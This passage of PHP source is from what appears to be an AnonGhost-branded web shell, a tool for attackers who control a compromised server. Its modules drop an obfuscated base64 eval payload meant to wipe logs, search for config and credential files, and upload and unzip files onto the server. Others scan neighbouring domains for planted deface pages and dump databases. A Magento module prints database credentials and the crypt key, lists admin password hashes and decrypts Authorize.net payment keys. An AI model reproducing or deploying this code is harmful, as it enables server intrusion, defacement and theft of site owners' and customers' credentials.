  1736. if(file_exists("gmail.txt")){ rd("gmail.txt"); echo '</br><a style="background:#efefef;" href="gmail.txt">Gmail</a> : '.count(file("gmail.txt")).'</br>'; }
  1737. if(file_exists("yahoo.txt")){ rd("yahoo.txt"); echo '</br><a style="background:#efefef;" href="yahoo.txt">Yahoo</a> : '.count(file("yahoo.txt")).'</br>'; }
  1738. if(file_exists("aol.txt")){ rd("aol.txt"); echo '</br><a style="background:#efefef;" href="aol.txt">Aol</a> : '.count(file("aol.txt")).'</br>'; }
  1739. if(file_exists("mail.txt")){ rd("mail.txt"); echo '</br><a style="background:#efefef;" href="mail.txt">Mail</a> : '.count(file("mail.txt")).'</br>'; }
  1740. if(file_exists("rocketmail.txt")){ rd("rocketmail.txt"); echo '</br><a style="background:#efefef;" href="rocketmail.txt">Rocketmail</a> : '.count(file("rocketmail.txt")).'</br>'; }
  1741. if(file_exists("orange.txt")){ rd("orange.txt"); echo '</br><a style="background:#efefef;" href="orange.txt">Orange</a> : '.count(file("orange.txt")).'</br>'; }
  1742. if(file_exists("live.txt")){ rd("live.txt"); echo '</br><a style="background:#efefef;" href="live.txt">Live</a> : '.count(file("live.txt")).'</br>'; }
  1743. if(file_exists("outlook.txt")){ rd("outlook.txt"); echo '</br><a style="background:#efefef;" href="outlook.txt">Outlook</a> : '.count(file("outlook.txt")).'</br>'; }
  1744. if(file_exists("sfr.txt")){ rd("sfr.txt"); echo '</br><a style="background:#efefef;" href="sfr.txt">Sfr</a> : '.count(file("sfr.txt")).'</br>'; }
  1745. if(file_exists("laposte.txt")){ rd("laposte.txt"); echo '</br><a style="background:#efefef;" href="laposte.txt">Laposte</a> : '.count(file("laposte.txt")).'</br>'; }
  1746. if(file_exists("msn.txt")){ rd("msn.txt"); echo '</br><a style="background:#efefef;" href="msn.txt">Msn</a> : '.count(file("msn.txt")).'</br>'; }
  1747. if(file_exists("skynet.txt")){ rd("skynet.txt"); echo '</br><a style="background:#efefef;" href="skynet.txt">Skynet</a> : '.count(file("skynet.txt")).'</br>'; }
  1748. echo '</font>';
  1749. echo '<br><font color="Green"><p>Done With Success ! </p></font><br>';
  1750. }
  1751. function rd($file)
  1752. {
  1753. $text = array_unique(file($file));
  1754. if($text)
  1755. $f = @fopen($file,'w');
  1756. if($f){
  1757. fputs($f, join('',$text));
  1758. }
  1759. }
  1760. echo'
  1761. <br>
  1762. <strong><font face="Tahoma" color="blue" size="4">
  1763. Mail-List</font><font size="4" face=Tahoma color=red> Filter</font><font size="3" face=Tahoma color=#666666> v1.5 </font>
  1764. </br><font face=Tahoma size=3 color=#009900>Developed By Extazy007 Recode by Kaizen</font></strong>
  1765. <br><br>
  1766. <font face=Tahoma size=2 color=#007700>Contact: www.facebook.com/AnonGhostOfficial2</font>
  1767. </center>
  1768.  
  1769. ';
  1770. }
  1771. if(isset($_GET['action']) && $_GET['action'] == 'srchffilsses'){
  1772. echo '<center><b class="conte">
  1773. <a href="?action=shellfnderr">Shell Finder</a> -
  1774. <a href="?action=jcescnr">Jce Scanner</a> -
  1775. <a href="?action=jcemultiscnner">JCE Multi-Uploader</a> -
  1776. <a href="?action=portscnnre">Port Scanner</a> -
  1777. <a href="?action=admnpgfndr">Admin Page Finder</a> -
  1778. <a href="?action=srchffilsses">Search Files</a> </center>
  1779. </b>';
  1780. echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Files Search Engine</span><center><br>';
  1781. echo'<body bgcolor="blue" text="white">
  1782. <p align="center">
  1783. <img border="0" src="http://www.scriptspot.com/files/u5502/rodar_scan.gif"></p>
  1784. </head>';
  1785.  
  1786. echo'<form action="" method="post"><center><br/>
  1787. <label for="dirdir">Directory</label><br/>
  1788. <input type="text" id="dirdir" name="dirdir" value="/" /><br/><br/>
  1789. <label for="filezzz">Files</label><br/>
  1790. <textarea class="area" rows="4" cols="50" name="filezzz">
  1791. config
  1792. auth
  1793. db
  1794. root
  1795. master
  1796.  
  1797. </textarea><br/><br/>
  1798. <input type="submit" value="search now !" />
  1799. </form></center>';
  1800.  
  1801. set_time_limit(0);
  1802. error_reporting(0);
  1803.  
  1804. if(!empty($_POST['dirdir']) && !empty($_POST['filezzz'])){
  1805. $dirdir = $_POST['dirdir'];
  1806. $filezzz = $_POST['filezzz'];
  1807. echo("<center>FILES</center>");
  1808. $files = glob($dirdir.'/*.php', GLOB_BRACE);
  1809. foreach($files as $file) {
  1810. foreach(explode("n", $filezzz) as $f) {
  1811. $s = file_get_contents($file);
  1812. $f = preg_replace('/s+/', '', $f);
  1813. $lines = file($file);
  1814. $line_number = false;
  1815. while (list($key, $line) = each($lines) and !$line_number) {
  1816. $line_number = (strpos($line, $f) !== FALSE) ? $key + 1 : $line_number;
  1817. }
  1818. if (strpos($s, $f) !== false) {
  1819. echo '<center>';
  1820. echo("<br/><b>File:</b> ".$file);
  1821. echo '<hr>';
  1822. echo("<br/><b>Line:</b> ".$line_number);
  1823. echo("<br/><b>Function:</b> ".$f);
  1824. echo '<hr>';
  1825. echo '</center>';
  1826. }
  1827. }
  1828. }
  1829. }
  1830. }
  1831.  
  1832. ////////////////////// KILL ////////////////////
  1833. elseif (isset($_GET['x']) && ($_GET['x'] == 'kill')) {
  1834. $file = $_SERVER['PHP_SELF'];
  1835. $file = str_replace('/', '', $file);
  1836. unlink($file);
  1837. echo '<center><font color="#58FAF4">You killed me now o.O</font></center>';
  1838. header('refresh: 2; '.$_SERVER['PHP_SELF'].'');
  1839. }
  1840. ////////////////////// LOGS ////////////////////
  1841. elseif (isset($_GET['x']) && ($_GET['x'] == 'logs')) {
  1842. $hps ='PD9waHAgLy8tLSByZWNvZGVkIGJ5IFZpcnVzYSBXb3JtIC0tLy8NCnByZWdfcmVwbGFjZSgiLy4qL2UiLCJceDY1XHg3Nlx4NjFceDZDXHgyOFx4NjdceDdBXHg2OVx4NkVceDY2XHg2Q1x4NjFceDc0XHg2NVx4MjhceDYyXHg2MVx4NzNceDY1XHgzNlx4MzRceDVGXHg2NFx4NjVceDYzXHg2Rlx4NjRceDY1XHgyOCdsWnJMcnVQSUVVVDNCdndQamNZczdNMUFaTDFJRFB3bjJsQzYwc3Byb3ovZnJNZ1RyTHF5TWNBc2hOc1V5YXJLUjBSR3B2cTNYOC8zOCt2SGo5Ly85ZVBuL1ZlN25aLzEvcXVXODlQdXY4cDdYUGQ3OVhsK2x2T1Q0cnQxT3ovbi9mVjhibjJkbnlQK3JYdjkrMmY4TGVmZmRqNmI2dmtwMDNXTDc3N2RYNzVmNXpSZG4ydWw3ZVA1OW4yOS9QRisyai9XS3gvMzY1L3M5M21lZnQ3OEovYjh2L045MnYrNTN1ZCs4M3JwNDN6cFkvL3oyZnpwdno4N1gvM2YvZjdTKzlpM251ZHVaNnhMZi9lOHprZjRyWlg0UHUvaDUzcmViM3M4VTNPc1VjODhxZWM2K2V1OFBuMlIzeEdqdmtiUG05emptU1BmZExZamNsQzJKOVk4MTJrdG5xMUhmTmZYNkw3dG4wcGUySWFlazVudjIvbXBPMmR0N04xei9CRi90YWV2YldQbCtoWG5MU213c0hMMmpvZnVsMjVQUGUzSzU3MTBpL3Q5ajc1bnVjVXpPY2M1ZksvN29yOVRlTDZmZTMxRUhQcmZTczdvMlJmN2xiQ3RuNld2cmYwMjdPZzJwb2lEOXU1bjNlSzVmaWI1WkF0YjlPeksrOHQ0djl1VDY4QlBKVzhxNy9hWWRILzJOVnZHNzRWL2s1Zkt6VEwyRWkvMDNHK3NrNGpqOFgyZnZJVXYrbHJ5UithWkhaK3Q0VVA1cU1iNmZkMU1udlh2OVh3TGUrV2pJL3lzYS9ick1YVU96dGpxdnVoN05QSlpQaXRoczJ6YUIyLzFlNHIzRnZtZ3ZGamowOThSajY3REp0bkR2VVkrZEZ4azRxTjgvb3BjMHllSEh6b2VaQWUrN1B1TGg0LzROR0xWODdyYkpQdjJPRTlad053Qjk1RS8vYnlYWC9yekpkNVA1b1dOdk4rakZ2VG4rbHI1QVllQUlmSGJDaCtrMkYveDROekt2eVg4WE1DMm50L3dWUVBMbFdjcVBrNnhubUtad09vV1BGUGgxWXFkNHYwSDN4RUx4YXpCQjNCTGFjT0htWGU2YitRVGVLRG5UMkZQeGJsRUhBcDhacHgxWHV2djZ1emdvcjlyVENyV0pmWTJqdlVPSEtIekpMak4rQ0tuRlovSDRLNEd6OHUzT3o3Y3cxY04vak1IOW1leU1UUFZPUEZIb2I3ZHlOMFV0c28vWC9oa0J3ZmtzdkMyd012NHFlT3NyUU5uRFd5SkExUFlLVHZlNGV2aTJQWHpMVC8vK1B2ZmZ2dlZIa04zWkRSRjV0MENUaFVuYWtLL2RrM0lZS1pRNzl0VU94VC9OT1hyay94UEVSdHhOYjRYbDRNVDhRZTJaTmRCTUdPczZsdzdkbjJCdFEyY2xUaXY4czQ0ZTVIZkNUdldrZXRhZndGSGZwL1k2TndiZXpmaTNrYnVaZGRZWTJXRmUvZXd2Nytmd0sxOGVncy9pQXYyOExHdkUzeXFYUDNpZWgvY0xVeGw2aDg4b0JnYm0vdFlOMU8vNU1zZExpWlBpMnRXSTdkdlladTQva0FMUENkK280YjBYRmMrb2tWVUE5azdVNmQ2UEdRaitFallwYk9nSmN3VHVnYzNTYzgrSnR6dm5QRUpGeDNoVitOWnVYeURtNS93NHp0c2REMFdIdUFjMlZhZDkreTM0WnMzc1U3d1FRNXVzRWJVSGp6YnlCdnJQZVZCaGJ2WE9FTWhMdElTTy90bmFpVm5kRDY1aHVzTTZJcEsvVzM0dkZJajJ6cjBrR3A4eFo4TDlwblQyVS8rV2tmdDhMbVVzdzI5dUE0dGs4eGw1S1E0ZE5ZU0daeVRBN1pQT0gzSE9ZUi8vQzZlZ3d2bGp6ek9tc0ZJY3Y0ZjRQakZ1ZENObWZPTEcxMUh3VkVDZHczZGUrVWhQblVkTGRnZ1R0anVWMDlsVGVEWUY3QW5QenJuOXFrbVArRXNjM0NoSGp5d3p4amE0Y2xDL3J5R1BzdkVWSnA4b1I0NXI0N3BiT0Mxb3VOMTdtUGtjK0w5NnJ4NkVIc3c1UnBuVFozUkM3TFJXREJQcDdqdm1pV2JEdkM0amU5cUh2elFiY3JVTEYyWHlBRnJ3WjRiRFgzUTF5bllMNzVHWitkOTVHbENtd3ZyMjFSUDRZSnFEWmpoNFlLdjBjemlnakxXU1dEdHlzOHQ3Qzc3cU1ONmg3cWcyQjNZdU9DRERhN1k4QVc2VUxoY3B6cFBEMVhSc3cxOWtLeDdicE4rdFMzVU9YRVhkVTd2MFlzVTFpNmNQVk43dXM5VjM5ZUl2L1ltdnNWMTNWeUpoaFV1RTNGNkVHdmIrSnIwNmd2K2MyOWpqRHhIRG9wUER2UUtXRmFkZXVGLzlJeDhUNjQzZkZ1b2Qya0wzYkVkeTh1NlE5aDZFeGY2a2Y2K3pzR1pDckYxYnFxR3VDWlNLMXpmRW55VHphZkczUmYxQ1M2VjMrQk1hN3U1L2lqUGo5amJISFQxenVhWTUvQ3ZaalBXVGN1a1dkZkJXZGJDamZwUzBPc0ZQV05kS2QzM2htL0FrcDZCaDJWaklTODhiMEd2YVg2RXJrcVRiblNkTlo3MWZCbjhvSjZiK25uVm1oMitUbkRvT3Z5VjBvVGxGakVweGpjeFNIbjBCZTV6clBYYzJ4VnFaeUptbWJvczdyemhKM1BBQXM3aEFNV3hqUHgxbjYrOGVHR3orNzlqMGdzNzNHTk4wd1l2eXhlUDd6elI0RExoZGlVWEgrR3ZIdnRFenRaamFHeGpRMmZiWWsvM3l1TFBlci9tSEkzemxHM0NWcHA0RHUxZFBXdjVRaCtnVDNJYitpbURrMHpPQ1B1ZWNaaHp2b2dmdGR2Y3JGakQ0ZFp0eGJxTFBzMVl2WHFMaW8xb2sySWN1T2MxUDdtbnA0ZFRIYVhYRU5mZjhCTTVsZEVlR2EwdWpiY01EZUs1VWJMR0p4OFR1SlFQMXBGUDNrOSsyTkVkOUlvVjdzbm12WHEvZW1UcFFlS2wrZ3BtNXA2dVdSTk1Xa0o4Yzl6SFRNZThrWWdoK1o2WTZhcSs4TzhDUjJSNlh2Yzkxa3pLSy9mTjlMdytuMm9wK0pJdDFpbnVKNHo1MThDcmN0SDk0MjNxditrZm5JOFZyZWhlSnZGT1FRZFcrb1pHakR6YjhheWt4MTQ2Z1Y0enVVZDd3N0hnbzFsUFB2RXROU2U1Tm1kaW05anJRYTR3dDJuR2liVVRQSjdSMi9rOWNIN3RDV2JjMjRvYm5JZjFmdldENXBLeVQxeTV3eEhIcURQVkd0RGFkcUZHb1Z1Y0MrS05OL2tLVnlsbnFIM3VxVFA5bGJqTjJxQ08ydUIrUWJuMDRCend2bVp1TDdoZ3YxODl2czVnSGYwQVEvUktoZG1FNS9YVmM1TTM4YkxmUG5wRHp5dzFYMXZJdTJYVTkyTCtvL2N6UnNXbHpsWFBUSi9ZbEVjTnlkVGVET2F2WEhiZWJlUHN5aFBWeDlBZHIvMTl6VHM4UnpVbld0OEx2OHZBanZ1NG1jdXRWeFB6R05jRnpaL2VzWmI3TTJzRDkzakNVNXA4N3RuQlJpMVlwalVPTUduZk02dFNMc01udVl6YTJxaXY3VGJXVW0zeGpCMytTdlNDSFN2R3QzTFNuT3k1K1JMUE5XcFpvK1pjczlzM3ZuZk5lZDZ2UHN2OXNtekJUdFczZkwvNkhISEdjK1NwY3lxaGVaUFhZWFpUWFovMlVYTUxHbEIxQlI5NnRtWU43WG1CZWtUeTdlcE5qcUVaRTlydDZnSFExTVVjNXQ4RjNJOU8vWFVoUjhYcFc3enYzOGIwWGI2UE9ZRjFqN1hvRjkvQlBaa2FtS3l6MnYzU0xOWmYvbzFBblBBZUhPczVkUUlYMWpiS2pjTHpjRU5HNzFrRFZUQ2IyVk8rMkZpTFBHOXdjVVVudUtiS2R0ZmRJM0k5bTV2TmNlVjdIYjFtVXZ1b0xjS01aL0NUYnl2OHJqMWN5OEJkOXV5UU91YVppalY1UXU4MjZvVnFBck1jNndmalJEVTMzYS9lM3JPa2hqNnhqcmw0Rm0xaGprM01ZcXpSRTNVdVc1UFRnelJzU3A0MVBzTFh4bXdsL3dvOFZwbUhXYnVyOWxMdlBTTXZVMjVmR29HK1Z0eEd6bFUwcHVvNGVaM3E5SzUxaCtkZEMveHk0L3RiNUdIaGIzUGN3R0NkT1pubnBZM1J6aFhkVStEckN4LzAzZWEwNXI0ajM2OFpyWGlLWHNaem1qYk4rUHpiMHpVN1FIZExEemZ3Ymh4TlBGZTRyM3A5M0s5Wmt1dG5JV2JGdUtIUHNXNHdCMWY0TGpGL0VLNHluREg1N3VwajBid0pyazM4cnVxZXVYcTJ2NU52MUgvWnYzQSsrTGlsb1hldXM3NnBpK3VvUGJtTXViQndpdjJxMi9sKzlWcUsxWGEvZnE4czF0Q1ZYRGlvMi80OTB6VVRqQ1ZycVVSOHJBZnF5Qy90NzMxZHU4aU4vc3hLYjFJbjNXK2NHNnVlaTdVNURwNHJ3V1BwSzM0ei8vWTcrdjRYcnFrZDgvK3AwS2ZuMStQbkg2Ly9IUC8reDIveFh6bCsvOEZ2Sy8wZkduYjBmM1QxOGM4Ly9ncz0nXHgyOVx4MjlceDI5XHgzQiIsIiIpOw0KPz4=';
  1843. $file = fopen("hps.php" ,"w+"); $write = fwrite ($file ,base64_decode($hps)); fclose($file); chmod("hps.php",0755);
  1844. echo "<center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>AnonGhost Auto Delete Log</span><br><div class=content><iframe src=hps.php width=70% height=60% frameborder=0></iframe>"; }
  1845.  
  1846. ////////////////////// BACKUP ZIP ////////////////////
  1847. elseif (isset($_GET['x']) && ($_GET['x'] == 'backup')) {
  1848. echo "<center><h1>Zip Menu</h1>";
  1849. function rmdir_recursive($dir) {
  1850. foreach(scandir($dir) as $file) {
  1851. if ('.' === $file || '..' === $file) continue;
  1852. if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
  1853. else unlink("$dir/$file");
  1854. }
  1855. rmdir($dir);
  1856. }
  1857. if($_FILES["zip_file"]["name"]) {
  1858. $filename = $_FILES["zip_file"]["name"];
  1859. $source = $_FILES["zip_file"]["tmp_name"];
  1860. $type = $_FILES["zip_file"]["type"];
  1861. $name = explode(".", $filename);
  1862. $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
  1863. foreach($accepted_types as $mime_type) {
  1864. if($mime_type == $type) {
  1865. $okay = true;
  1866. break;
  1867. }
  1868. }
  1869. $continue = strtolower($name[1]) == 'zip' ? true : false;
  1870. if(!$continue) {
  1871. $message = "Its Not Zip";
  1872. }
  1873. $path = dirname(__FILE__).'/';
  1874. $filenoext = basename ($filename, '.zip');
  1875. $filenoext = basename ($filenoext, '.ZIP');
  1876. $targetdir = $path . $filenoext;
  1877. $targetzip = $path . $filename;
  1878. if (is_dir($targetdir)) rmdir_recursive ( $targetdir);
  1879. mkdir($targetdir, 0777);
  1880. if(move_uploaded_file($source, $targetzip)) {
  1881. $zip = new ZipArchive();
  1882. $x = $zip->open($targetzip);
  1883. if ($x === true) {
  1884. $zip->extractTo($targetdir);
  1885. $zip->close();
  1886.  
  1887. unlink($targetzip);
  1888. }
  1889. $message = "<b>Sukses</b>";
  1890. } else {
  1891. $message = "<b>Error</b>";
  1892. }
  1893. }
  1894. echo '<table style="width:100%" border="1">
  1895. <tr><td><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
  1896. <label>Zip File : <input type="file" name="zip_file" /></label>
  1897. <input type="submit" name="submit" value="Upload And Unzip" />
  1898. </form>';
  1899. if($message) echo "<p>$message</p>";
  1900. echo "</td><td><h2>Zip Backup</h2><form action='' method='post'><font style='text-decoration: underline;'>Folder:</font><br><input type='text' name='dir' value='$dir' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_backup.zip' style='width: 450px;' height='10'><br><input type='submit' name='backup' value='BackUp!' style='width: 215px;'></form>";
  1901. if($_POST['backup']){
  1902. $save=$_POST['save'];
  1903. function Zip($source, $destination)
  1904. {
  1905. if (extension_loaded('zip') === true)
  1906. {
  1907. if (file_exists($source) === true)
  1908. {
  1909. $zip = new ZipArchive();
  1910.  
  1911. if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
  1912. {
  1913. $source = realpath($source);
  1914.  
  1915. if (is_dir($source) === true)
  1916. {
  1917. $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
  1918.  
  1919. foreach ($files as $file)
  1920. {
  1921. $file = realpath($file);
  1922.  
  1923. if (is_dir($file) === true)
  1924. {
  1925. $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
  1926. }
  1927.  
  1928. else if (is_file($file) === true)
  1929. {
  1930. $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
  1931. }
  1932. }
  1933. }
  1934.  
  1935. else if (is_file($source) === true)
  1936. {
  1937. $zip->addFromString(basename($source), file_get_contents($source));
  1938. }
  1939. }
  1940.  
  1941. return $zip->close();
  1942. }
  1943. }
  1944.  
  1945. return false;
  1946. }
  1947. Zip($_POST['dir'],$save);
  1948. echo "Done , Save To <b>$save</b>";
  1949. }
  1950. echo "</td><td><h2>Unzip Manual</h2><form action='' method='post'><font style='text-decoration: underline;'>Zip Location:</font><br><input type='text' name='dir' value='$dir/file.zip' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_unzip' style='width: 450px;' height='10'><br><input type='submit' name='extrak' value='Unzip!' style='width: 215px;'></form>";
  1951. if($_POST['extrak']){
  1952. $save=$_POST['save'];
  1953. $zip = new ZipArchive;
  1954. $res = $zip->open($_POST['dir']);
  1955. if ($res === TRUE) {
  1956. $zip->extractTo($save);
  1957. $zip->close();
  1958. echo 'Succes , Location : <b>'.$save.'</b>';
  1959. } else {
  1960. echo 'Failed Mass';
  1961. }
  1962. }
  1963. echo '</tr></table>';
  1964. }
  1965. ////////////////////// REVERSE IP ////////////////////
  1966. elseif (isset($_GET['x']) && ($_GET['x'] == 'ip')) {
  1967. ?>
  1968. <br>
  1969. <center><div id="sitelist"><a onClick="window.open('http://www.viewdns.info/reverseip/?host=<?php echo $_SERVER ['SERVER_ADDR']; ?>','POPUP','width=900 0,height=500,scrollbars=10');return false;" href="http://www.viewdns.info/reverseip/?host=<?php echo $_SERVER ['SERVER_ADDR']; ?>"><div id='menu'>[ Reverse IP Lookup ] </a></center>
  1970. <br>
  1971. <?php
  1972. }
  1973. ////////////////////// FAKE ROOT ////////////////////
  1974. elseif (isset($_GET['x']) && ($_GET['x'] == 'fake')) {
  1975. ob_start();
  1976. function reverse($url) {
  1977. $ch = curl_init("http://domains.yougetsignal.com/domains.php");
  1978. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  1979. curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
  1980. curl_setopt($ch, CURLOPT_HEADER, 0);
  1981. curl_setopt($ch, CURLOPT_POST, 1);
  1982. $resp = curl_exec($ch);
  1983. $resp = str_replace("[","", str_replace("]","", str_replace("""","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
  1984. $array = explode(",,", $resp);
  1985. unset($array[0]);
  1986. foreach($array as $lnk) {
  1987. $lnk = "http://$lnk";
  1988. $lnk = str_replace(",", "", $lnk);
  1989. echo $lnk."n";
  1990. ob_flush();
  1991. flush();
  1992. }
  1993. curl_close($ch);
  1994. }
  1995. function cek($url) {
  1996. $ch = curl_init($url);
  1997. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  1998. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  1999. $resp = curl_exec($ch);
  2000. return $resp;
  2001. }
  2002. $cwd = getcwd();
  2003. $ambil_user = explode("/", $cwd);
  2004. $user = $ambil_user[2];
  2005. if($_POST['reverse']) {
  2006. $site = explode("rn", $_POST['url']);
  2007. $file = $_POST['file'];
  2008. foreach($site as $url) {
  2009. $cek = cek("$url/~$user/$file");
  2010. if(preg_match("/hacked/i", $cek)) {
  2011. echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=#ff0066>Fake Root!</font><br>";
  2012. }
  2013. }
  2014. } else {
  2015. echo "<center><form method='post'>
  2016. Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
  2017. User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
  2018. Domain: <br>
  2019. <textarea style='width: 450px; height: 250px;' name='url'>";
  2020. reverse($_SERVER['HTTP_HOST']);
  2021. echo "</textarea><br>
  2022. <input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
  2023. </form><br>
  2024. NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
  2025. }
  2026. }
  2027. ////////////////////// DB DUMP ////////////////////
  2028. elseif (isset($_GET['x']) && ($_GET['x'] == 'dump')) {
  2029. echo $head.'<p align="center">';
  2030. echo '
  2031. <form action method=post>
  2032. <table width=371 class=tabnet >
  2033. <tr><th colspan="2">Database Dump</th></tr>
  2034. <tr>
  2035. <td>Server </td>
  2036. <td><input class="inputz" type=text name=server size=52></td></tr><tr>
  2037. <td>Username</td>
  2038. <td><input class="inputz" type=text name=username size=52></td></tr><tr>
  2039. <td>Password</td>
  2040. <td><input class="inputz" type=text name=password size=52></td></tr><tr>
  2041. <td>DataBase Name</td>
  2042. <td><input class="inputz" type=text name=dbname size=52></td></tr>
  2043. <tr>
  2044. <td>DB Type </td>
  2045. <td><form method=post action="'.$me.'">
  2046. <select class="inputz" name=method>
  2047. <option value="gzip">Gzip</option>
  2048. <option value="sql">Sql</option>
  2049. </select>
  2050. <input class="inputzbut" type=submit value=" Dump! " ></td></tr>
  2051. </form></center></table>';
  2052. if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
  2053. $date = date("Y-m-d");
  2054. $dbserver = $_POST['server'];
  2055. $dbuser = $_POST['username'];
  2056. $dbpass = $_POST['password'];
  2057. $dbname = $_POST['dbname'];
  2058. $file = "Dump-$dbname-$date";
  2059. $method = $_POST['method'];
  2060. if ($method=='sql'){
  2061. $file="Dump-$dbname-$date.sql";
  2062. $fp=fopen($file,"w");
  2063. }else{
  2064. $file="Dump-$dbname-$date.sql.gz";
  2065. $fp = gzopen($file,"w");
  2066. }
  2067. function write($data) {
  2068. global $fp;
  2069. if ($_POST['method']=='ssql'){
  2070. fwrite($fp,$data);
  2071. }else{
  2072. gzwrite($fp, $data);
  2073. }}
  2074. mysql_connect ($dbserver, $dbuser, $dbpass);
  2075. mysql_select_db($dbname);
  2076. $tables = mysql_query ("SHOW TABLES");
  2077. while ($i = mysql_fetch_array($tables)) {
  2078. $i = $i['Tables_in_'.$dbname];
  2079. $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
  2080. write($create['Create Table'].";nn");
  2081. $sql = mysql_query ("SELECT * FROM ".$i);
  2082. if (mysql_num_rows($sql)) {
  2083. while ($row = mysql_fetch_row($sql)) {
  2084. foreach ($row as $j => $k) {
  2085. $row[$j] = "'".mysql_escape_string($k)."'";
  2086. }
  2087. write("INSERT INTO $i VALUES(".implode(",", $row).");n");
  2088. }
  2089. }
  2090. }
  2091. if ($method=='ssql'){
  2092. fclose ($fp);
  2093. }else{
  2094. gzclose($fp);}
  2095. header("Content-Disposition: attachment; filename=" . $file);
  2096. header("Content-Type: application/download");
  2097. header("Content-Length: " . filesize($file));
  2098. flush();
  2099.  
  2100. $fp = fopen($file, "r");
  2101. while (!feof($fp))
  2102. {
  2103. echo fread($fp, 65536);
  2104. flush();
  2105. }
  2106. fclose($fp);
  2107. }
  2108.  
  2109. }
  2110. ////////////////////// MAGENTO ////////////////////
  2111. elseif (isset($_GET['x']) && ($_GET['x'] == 'magento')) {
  2112. echo'
  2113. <div id="page-wrap">
  2114. <center>
  2115. <br>
  2116. <FORM action="" method="post">
  2117. <div align="center">[ M A G E N T O ] - Stealing Information<br>
  2118. <div align="center">Code By Kaizen<br> <br> <br>
  2119. <input type="hidden" name="form_action" value="2">
  2120. </div>
  2121. </div>
  2122. ';
  2123.  
  2124.  
  2125. if(file_exists($_SERVER['DOCUMENT_ROOT'].'/app/etc/local.xml')){
  2126. $xml = simplexml_load_file($_SERVER['DOCUMENT_ROOT'].'/app/etc/local.xml');
  2127. if(isset($xml->global->resources->default_setup->connection)) {
  2128. $connection = $xml->global->resources->default_setup->connection;
  2129. $prefix = $xml->global->resources->db->table_prefix;
  2130. $key = $xml->global->crypt->key; //f8cd1881e3bf20108d5f4947e60acfc1
  2131. require_once $_SERVER['DOCUMENT_ROOT'].'/app/Mage.php';
  2132.  
  2133. try {
  2134. $app = Mage::app('default');
  2135. Mage::getSingleton('core/session', array('name'=>'frontend'));
  2136. }catch(Exception $e) { echo 'Message: ' .$e->getMessage()."<br/>n";}
  2137.  
  2138. if (!mysql_connect($connection->host, $connection->username, $connection->password)){
  2139. print("Could not connect: " . mysql_error());
  2140. }
  2141. mysql_select_db($connection->dbname);
  2142. echo $connection->host."|".$connection->username."|".$connection->password."|".$connection->dbname."| $prefix | $key<br/>n";
  2143.  
  2144. $crypto = new Varien_Crypt_Mcrypt();
  2145. $crypto->init($key);
  2146.  
  2147. //=========================================================================================================
  2148. $query = mysql_query("SELECT user_id,firstname,lastname,email,username,password FROM admin_user where is_active = '1'");
  2149. if (!$query){
  2150. echo "<center><b>Failed</b></center>";
  2151. }else{
  2152. $site = mysql_fetch_array(mysql_query("SELECT value as website FROM core_config_data WHERE path='web/unsecure/base_url'"));
  2153. echo'<br><br>
  2154. ====================================================================<br>
  2155. [ Admin FROM website : '.$site['website'].'] <br>
  2156. ====================================================================<br>';
  2157. }
  2158. echo "
  2159. <table border='1' align='center' >
  2160. <tr>
  2161. <td>id</td>
  2162. <td>firstname</td>
  2163. <td>lastname</td>
  2164. <td>email</td>
  2165. <td>username</td>
  2166. <td>password</td>
  2167. </tr>";
  2168. while($vx = mysql_fetch_array($query)) {
  2169. $no = 1;
  2170. $user_id = $vx['user_id'];
  2171. $username = $vx['username'];
  2172. $password = $vx['password'];
  2173. $email = $vx['email'];
  2174. $firstname = $vx['firstname'];
  2175. $lastname = $vx['lastname'];
  2176. echo "<tr><pre><td>$user_id</td><td>$firstname</td><td>$lastname</td><td>$email</td><td>$username</td><td>$password</td></pre></tr>";
  2177. }
  2178. echo "</table><br>";
  2179. //=========================================================================================================
  2180. $query = mysql_query("SELECT value as user,(SELECT value FROM core_config_data where path = 'payment/authorizenet/trans_key') as pass FROM core_config_data where path = 'payment/authorizenet/login'");
  2181. if(mysql_num_rows($query) != 0){
  2182. if (!$query){
  2183. echo "<center><b>Failed</b></center>";
  2184. }else{
  2185. echo'<br><br>
  2186. ====================================================================<br>
  2187. [ Authorizenet ] <br>
  2188. ====================================================================<br>';
  2189. }
  2190. echo "
  2191. <table border='1' align='center' >
  2192. <tr>
  2193. <td>no</td>
  2194. <td>user</td>
  2195. <td>pass</td>
  2196. </tr>";
  2197. $no = 1;
  2198. while($vx = mysql_fetch_array($query)) {
  2199. $user = $crypto->decrypt($vx['user']);
  2200. $pass = $crypto->decrypt($vx['pass']);
  2201.  
  2202.  
  2203. echo "<tr><pre><td>$no</td><td>$user</td><td>$pass</td></pre></tr>";
  2204. $no++;
  2205. }
  2206. echo "</table><br>";
  2207. }
  2208. //=========================================================================================================
